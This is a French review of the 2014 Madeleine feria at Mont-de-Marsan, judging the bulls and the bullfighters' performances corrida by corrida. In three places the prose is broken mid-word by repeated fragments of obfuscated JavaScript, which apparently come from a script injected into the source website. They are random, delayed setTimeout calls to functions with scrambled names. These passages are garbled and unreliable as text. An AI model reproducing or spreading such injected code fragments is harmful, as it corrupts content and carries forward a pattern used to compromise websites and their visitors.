MONT DE MARSAN MADELEINE 2014 : UN BON CRU

C’est une feria ascendante où la combinaison des cartels toristes et toreristes a fonctionné. Avec en ouverture un toro de Zalduendo, le sixième, à la bravoure et noblesse exceptionnelles qui en d’autres mains aurait peut-être été gracié.

Corrida « bonita » qui rappela aux plus anciens, par leur trapio, celles des années 60, où se distingua Manzanares dans deux faenas très techniques avec un changement de main inoubliable et des estocades ravageuses.

Le lendemain la corrida de La Quinta, disparate de présentation, permit un nouveau triomphe d’Iván Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andiño dans ces arènes avec le meilleur lot alors que El Juli ressortait une nouvelle fois bredouille de sa confrontation avec le torero basque sous les sifflets de celui qui fut jusqu’à aujourd’hui son public le plus fidèle en France. Antonio Ferrera prouva encore une fois qu’il est dans un bon moment, avec des gestes imprégnés de toreria.

La confrontation entre les élevages de Joselito et de Fuente Ymbro fut  décevante pour les aficionados avec un manque de caste évident et alarmant. Seul Joselito Adame parvint à retenir l’attention du public et coupa une oreille. Par contre la corrida de Victorino Martin fut le temps fort de cette feria avec un lot homogène et très bien présenté qui permit à Diego Urdiales de réaliser sa plus belle prestation en France. Un toreo relâché, au tempo ralenti, de toute beauté devant deux adversaires avec ces charges si caractéristiques aux toros de Victorino par le bas. Alberto Aguilar pesa aussi sur son premier toro et aurait pu couper deux oreilles s’il l’avait tué. Quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and à Manuel Escribano il ne fut pas à la hauteur d’un très grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Victorino, le cinquième de cette course qui redore le blason en France du sorcier de Galapagar.

La corrida de Miura effraya le public qui s’était déplacé pour la voir et qui parut se contenter de cette émotion. Toros intoréables, sans une passe et triomphe mérité de Rafaelillo qui parvint à leur arracher quelques charges et surtout évita le coup de corne dans un combat épique.

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